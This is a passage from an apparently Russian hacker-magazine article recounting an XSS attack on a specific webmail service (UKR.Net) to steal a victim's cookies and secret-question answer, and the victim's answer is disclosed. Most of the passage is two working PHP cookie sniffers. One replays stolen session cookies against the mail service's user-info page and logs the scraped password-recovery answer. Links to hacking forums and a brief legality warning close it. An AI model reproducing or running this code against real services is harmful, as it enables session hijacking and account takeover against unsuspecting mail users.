UKR.Net и не будет!

PinkPanther

Хакер, номер #087, стр. 087-086-3

Советую также всегда сохранять в лог переменную $query, а то вдруг жертва занесет в свои куки пароль. Стоит заметить, что данный скрипт должен находиться на сервере, поддерживающем исходящие соединения, так что про бесплатные хостинги можно забыть.

попытка номер 2 и успешный финал

Я залил функциональный снифер к себе на хост, заменил к нему путь в XSS-конструкции и по новой отправил письмо. Прошло немного времени, и у меня в логе уже хранилась заветная запись. Ответ на секретный вопрос оказался немного неожиданным. Это было слово begemot :).

Вот и все. В итоге благодаря своим знаниям в проведении XSS-атак я выиграл спор и получил свою заслуженную награду, чего и тебе, читатель, желаю.

Код функционального php-снифера s.php

<?

// принимаем куки и приводим их в нормальный вид

$query=$_SERVER["QUERY_STRING"];

$query=urldecode($query);

// составляем запрос на получение страницы с личной инфой

$header="GET http://e.ukr.net/cgi-bin/userinfo HTTP/1.0\r\n";

$header.="Referer: http://e.ukr.net\r\n";

$header.="Cookie: ".$query."\r\n";

$header.="Host: e.ukr.net\r\n\r\n";

// отправляем запрос и считываем страницу настроек

$fp=fsockopen("e.ukr.net", 80);

fwrite($fp, $header);

$dt="";

while (!feof($fp))

$dt.=fread($fp, 1024);

// выдираем из полученной страницы ответ на секретный вопрос

$answ1=strpos($dt,'Password_Answer')+24;

$answ2=strpos($dt,'" size="40"><br><br></td>');

$length_answ=$answ2-$answ1;

$full_answer=substr($dt,$answ1,$length_answ);

// сохраняем полученный ответ на вопрос в файл: answer.html

$fp1=Fopen("answer.html","a");

fwrite($fp1,"$full_answer <br /><hr>");

fclose($fp1);

fclose($fp);

?>

Код простого php-снифера s.php

<?php

// принимаем куки

$query=$_SERVER["QUERY_STRING"];

// записываем полученные значения в файл: log.html

$fp=fopen("log.html","a");

fputs($fp," $query<br /> ");

fclose($fp);

?>

Полезные ссылки

Хочешь больше понимать и разбираться в технологии функционального снифера? Держи ссылки. Подборка хоть и небольшая, но очень толковая и интересная.

http://antichat.ru/txt/email/

http://antichat.ru/txt/email2/

http://hackzona.ru/hz.php?name=News&file=article&sid=5107&mode=&order=0&thold=0

http://hackzona.ru/hz.php?name=News&file=article&sid=5044&mode=&order=0&thold=0

http://antichat.ru/txt/xakepforum/

http://forum.antichat.ru/thread5899.html

WWW

Заходи чаще на antichat.ru/antichat.org, и ты всегда будешь в курсе всех событий, связанных с различного рода инъекциями и их применением.

WARNING

Само собой, взлом мыла, как и любой взлом, занятие, так сказать, незаконное, так что лучше вообще не ввязывайся в это.